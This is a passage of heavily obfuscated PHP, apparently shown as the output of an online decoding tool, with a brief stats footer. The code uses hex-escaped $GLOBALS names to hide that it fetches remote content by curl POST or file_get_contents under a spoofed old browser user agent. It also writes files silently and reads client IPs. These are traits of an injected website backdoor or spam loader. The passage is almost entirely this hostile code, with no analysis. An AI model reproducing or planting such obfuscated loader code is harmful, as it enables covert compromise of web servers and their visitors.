x42\x41\x4c\x53"}["\x6e\x71p\x6ce\x6e\x77\x79"]}!==""){$mcvpxlg="\x63\x68";${"\x47\x4c\x4fBA\x4c\x53"}["\x70g\x78\x6f\x67gh\x69\x63e"]="\x63\x68";curl_setopt(${$mcvpxlg},CURLOPT_POST,1);curl_setopt(${${"G\x4c\x4fB\x41\x4c\x53"}["\x70gx\x6f\x67gh\x69\x63e"]},CURLOPT_POSTFIELDS,${${"\x47\x4c\x4fB\x41\x4c\x53"}["d\x6a\x68\x61\x75\x71\x6ev\x67\x6a"]});}${"\x47\x4cO\x42\x41\x4cS"}["\x62\x69gux\x79\x68\x75o\x70\x6d"]="c\x74\x79pe";${$abxlyyd}=curl_exec(${$bvmbhjqg});${${"G\x4c\x4fB\x41\x4c\x53"}["t\x6e\x6bzw\x63\x64\x6bi"]}=curl_getinfo(${${"\x47\x4cO\x42A\x4c\x53"}["n\x6a\x62\x6en\x6aiz\x79c"]},CURLINFO_HTTP_CODE);${${"\x47\x4cOBALS"}["\x62\x69\x67u\x78y\x68\x75\x6f\x70\x6d"]}=curl_getinfo(${${"\x47\x4c\x4f\x42A\x4c\x53"}["n\x6a\x62\x6enj\x69z\x79\x63"]},CURLINFO_CONTENT_TYPE);curl_close(${$gyubiwyw});}catch(Exception$e){}if($body===false&&function_exists('file_get_contents')){ini_set("us\x65\x72_\x61gent","\x4d\x6f\x7a\x69\x6cla/\x34.\x30 (com\x70atib\x6ce\x3b\x4d\x53\x49\x45 \x36\x2e0;\x57ind\x6f\x77\x73\x20NT \x35\x2e\x32;.N\x45\x54 \x43\x4cR\x20\x31\x2e\x31\x2e43\x322)");try{${"\x47\x4c\x4fB\x41L\x53"}["\x79vssiukr\x78\x66f"]="\x62\x6f\x64y";${${"\x47\x4c\x4f\x42\x41L\x53"}["\x79v\x73siuk\x72\x78\x66\x66"]}=@file_get_contents(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x7ayw\x6b\x75\x72\x72"]});}catch(Exception$e){};}return array(${$ingfyjovy},${${"\x47\x4cO\x42A\x4cS"}["\x62o\x6ai\x67\x61\x63\x63\x7a"]},${$smzddrqxdu});}function todk($fil,$str){${"\x47\x4c\x4f\x42AL\x53"}["\x65r\x6cv\x66\x65y\x79\x6c\x62\x6c"]="\x73t\x72";${"GL\x4f\x42\x41L\x53"}["\x6d\x6b\x79q\x6f\x71h\x6d\x76"]="f\x69l";@file_put_contents(${${"G\x4cOB\x41\x4c\x53"}["\x6dk\x79\x71oq\x68\x6d\x76"]},${${"\x47\x4cOB\x41L\x53"}["\x65\x72\x6cvfeyy\x6c\x62\x6c"]});}function clientip(){${"GL\x4fB\x41LS"}["veiux\x75\x69\x6c\x64"]="rea\x6ci\x70";${${"\x47\x4c\x4fBAL\x53"}["v\x65iu\x78uil\x64"]}="";$wuleehrdqmo="\x72\x65a\x6ci\x70";if(isset($_SERVER["H\x54TP\x5f\x58\x5fF\x4f\x52\x57A\x52DED\x5f\x46\x4fR"])&&$_SERVER["HT\x54\x50\x5f\x58_FO\x52W\x41RD\x45\x44_F\x4fR"]!==""){${${"\x47\x4cO\x42\x41\x4c\x53"}["\x78\x74\x74klj\x72\x62\x79k\x79"]}=$_SERVER["\x48\x54TP_X\x5fFO\x52\x57ARD\x45\x44\x5fFOR"];}elseif(getenv("\x52\x45\x4dOTE\x5fADDR")&&strcasecmp(getenv("\x52\x45MOT\x45_A\x44DR"),"u\x6e\x6bno\x77n")){${"\x47\x4c\x4fB\x41\x4cS"}["ie\x65\x79\x65s"]="r\x65\x61\x6ci\x70";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x69\x65e\x79e\x73"]}=getenv("R\x45M\x4fTE_\x41DDR");}elseif(isset($_SERVER["R\x45\x4dO\x54E\x5f\x41D\x44\x52"])&&$_SERVER["\x52E\x4d\x4f\x54\x45_ADD\x52"]&&strcasecmp($_SERVER["RE\x4d\x4f\x54E\x5fA\x44D\x52"],"\x75n\x6bn\x6f\x77\x6e")){${${"G\x4c\x4fB\x41LS"}["\x78\x74\x74\x6b\x6cj\x72b\x79\x6by"]}=$_SERVER["\x52\x45\x4d\x4fTE_\x41DD\x52"];}if(stristr(${$wuleehrdqmo},",")){$quxkjjt="v\x61\x6c\x75\x65\x73";${$quxkjjt}=explode(",",${${"\x47LOB\x41L\x53"}["\x78t\x74\x6bl\x6a\x72\x62\x79\x6b\x79"]});${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x78\x74tkl\x6a\x72\x62\x79k\x79"]}=${${"\x47\x4c\x4fB\x41\x4cS"}["\x69\x6f\x6ao\x78\x70uo"]}[0];}return${${"\x47L\x4f\x42AL\x53"}["\x78\x74t\x6blj\x72\x62\x79\x6b\x79"]};}
Function Calls
None |
Stats
MD5 | 1e7a58f01b78eec01f3556ef98d57d36 |
Eval Count | 0 |
Decode Time | 131 ms |